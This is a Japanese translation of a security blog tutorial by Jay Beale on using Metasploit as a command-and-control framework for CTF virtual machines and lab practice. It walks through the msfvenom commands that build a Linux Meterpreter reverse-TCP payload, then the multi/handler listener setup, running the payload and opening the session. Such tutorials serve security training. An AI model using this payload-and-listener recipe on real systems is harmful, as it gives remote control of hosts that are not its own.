MetasploitをC2に使うステップ・バイ・ステップでの手順

悪意の行為者イメージ

How to Use Metasploit for Command & Control: Step-by-step” November 30, 2022 by Jay Beale より

Metasploit はエクスプロイトのカストマイズに関連した多くの機能を持っています。

しかし多くの人はエクスプロイトの後にくる、C2(コマンド&コントロール)機能を目的の主体に利用します。MetasploitのMeterpreterはVulnHub.com やその他のCTF(訳注 Capture The Flag、セキュリティ競技としての旗取りゲーム)でのCTF仮想マシンで大勢の参加者にとっても非常に有用なものになり得ます。

私の過去のWebinarでBatman Foreverテーマの個人種目競技者がCTF仮想マシンをとらえる攻撃をデモした際に、その場にいた参加者からMetasploitをC2(Command and control)フレームワークとして設定したコマンドは何か?という質問を受けました。そこからこのブログに繋がります。

Metasploitをコマンド&コントロール用に利用する手順を紹介しますので、ご自身のCTFでの活動やあるいは正当な「ハッキング実験」で利用してみてください。

関連記事 なぜ脆弱性管理からCTEMへと前進すべきか?

Metasploitをコマンド&コントロール用に設定する

攻撃側の最初のアクセスは、対象のシステムに対するフィッシングやリモートコマンドの実行を試みようとするでしょう。つまりターゲットのコンピュータ上でコマンド実行できることが目的です。

その後の便宜性と能力を考えてC2エージェントをインストールすれば、さらに他の有用
な機能も使用することで、後続する制御や権限昇格、ネットワーク内の横展開などに繋げられます。

MetasploitのMeterpreterはユニバーサルな典型的C2エージェントです。これには
コミュニティーで付与された多くのツールがパッケージされています。それではどのように動作するかをみてみましょう。

まず、msfvenomコマンドを使ってMeterpreterをカスタマイズします。複数のステッ
プを介して単一のコマンドを構成します。ここで説明する最後のmsfvenomコマンドのみが完全なものです。

デモを主体にしたBatmanテーマの最近のCTFウェビナーでは、私の多くの講演やトレーニングと同様に、Kali Linuxシステムを利用しパラメータを設定して、x86互換のLinuxバイナリを作成しています。それが”phone home(自宅に電話)” – つまり自分のMetasploitコンソールに接続します。

これは「リバースTCP」モードです。従って我々のmsvenomコマンドはx86-Linux互換のMeterpreterが「リバースTCP」手法を利用して、接続してほしいと指定する必要があります。このような指定が以下のような単一パラメータに包含されます:

msfvenom -p linux/x86/meterpreter/reverse_tcp

これだけか? いえいえ、まだ、どのIPアドレスやTCPポートが利用可能かMeterpreterには分かりません。これをふたつのパラメータで設定します。LHOSTとLPORTです。

「L」は我々の「ローカル」Metasploitコンソールを示します。
対照的に「R」はリモートを示します。これを簡単に理解してテストしやすいように
LHOSTを127.0.0.1で設定しましょう。こうすればMetasploitコンソールを同じシステム
上でMeterpreterのテストが出来ます。

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444

ここでコツですが、「LPORT」を指定せずデフォルトのTCPポート:4444を使いましょう。

もう二つパラメータ設定が必要です。最初に 「ファイル形式」を指定する「-f」です。

Msfvenomは複数のオペレーティングシステム上で実行するファイルを作成でき、さらにバイナリの代わりにスクリプトも作成できます。Linuxの標準バイナリ形式の実行ファイルとリンクフォーマット(ELF)を「-f elf」を使用して要求します。

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=127.0.0.1 -f elf

最後にmsfvenomに対してこのペイロードを画面に書き出す代わりにファイルに書き
込むよう指定する必要があります。これを「-o」パラメータを利用してアウトプットファイルのパスを指定することで、実際に利用できるmsfvenomコマンドにします。

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=127.0.0.1 -f elf -o
meterpreter

数秒後にはmeterpreterという新しいファイルが作成されたことを確認できるでしょ
う。

これでMetasploitコンソールに接続し返すMeterpreterが作成出来ました。ではMetasploitコンソールを起動して、それがMeterpreterをリッスンするように指定します。

次のmsfconsoleをコマンドラインで実行します:

msfconsole

次に、それに対して汎用的なペイロードハンドラーを利用したいと指定します。
「multi-handler」モジュールです。

use exploit/multi/handler

このmulti-handlerに対してどのペイロードタイプが接続されるか指示します。msfvenomコマンドで使ったものと同じ値を利用します。

set PAYLOAD linux/x86/meterpreter/reverse_tcp

multi-handlerに対してどのIPアドレスをリッスンするかを指定します。これはmsvenomコマンドで設定したLHOST値が対象です。

set LHOST 127.0.0.1

最後に「exploit」を実行しこのモジュールを起動します。これを「-j」オプション
を利用してバックグランドで実行することで、Metasploit内の他のコマンドが実行継続可能となります(そうしたければですが)。

exploit -j

これをテストしてみましょう。同じシステム上の他のShellやターミナルウインドウ
を起動して、Meterpreterが実行できて接続に応答することを確認してみましょう。新しいWindowを起動し、Meterpreterを定義して実行してみましょう。

chmod u+x meterpreter

./meterpreter

自身のMetasploitコンソールウィンドウにスイッチすると、Meterpreterセッションが
待っていることを確認できるでしょう。

セッションコマンドを利用すればそれとやり取りできます。

sessions -i 1

Meterpreterがその他に出来ることを確認するには以下のコマンドを使ってみましょう:

help

表示されたリストを見てみましょう。ファイルのアップロードやダウンロードが出来ます。ポートを設定してリモートシステムを経由してプロキシー・トラフィックをフォワード出来ます。

リモートシステムのスピーカーで音楽を再生することだって出来るのです。複数のプログラムや1箇所のMetasploitコンソールから複数のシステムの制御までできるようなマルチタスク機能もあるのです。とっても有用でしょ?

ここまでのこと(あるいはBeyondTrust社オンデマンド・ウェビナー、”Linux Attack and defense: Batman edition“)で学んだことを利用して攻撃を繰り返すことができます。

これには楽しみながらも難しい攻撃パスがあります。Webinarをオンデマンドでご視聴
いただき、仮想マシンをダウンロードして、自分自身で攻撃パスを試してみてください。

関連記事 なぜ脆弱性管理からCTEMへと前進すべきか?


Jay Beale氏, InGuardians社CEO兼CTO

Jay Beale氏は、Bastille Linux/UNIX や CIS Linux Scoring Tool など、防御的なセキュリティツールを複数作成しており、いずれも民間企業や政府機関で広く使用されています。多くの企業や政府機関でのカンファレンスに講演者として招待され、Information Security Magazine、SecurityPortal、SecurityFocus のコラムニストを務め、オープンソース・セキュリティシリーズや「Stealing the Network」シリーズなど9冊の本に寄稿をしています。 彼は、Black Hat、CanSecWest、RSA、および IDG カンファレンスでの Linux Hardening や他のトピックに関するトレーニングクラス、さらに企業のプライベートトレーニングで始動にあたってきました。Jay氏は、情報セキュリティコンサルティング会社 InGuardians の共同設立者でもあり最高執行責任者兼CTOです。

シェアする

  • このエントリーをはてなブックマークに追加

フォローする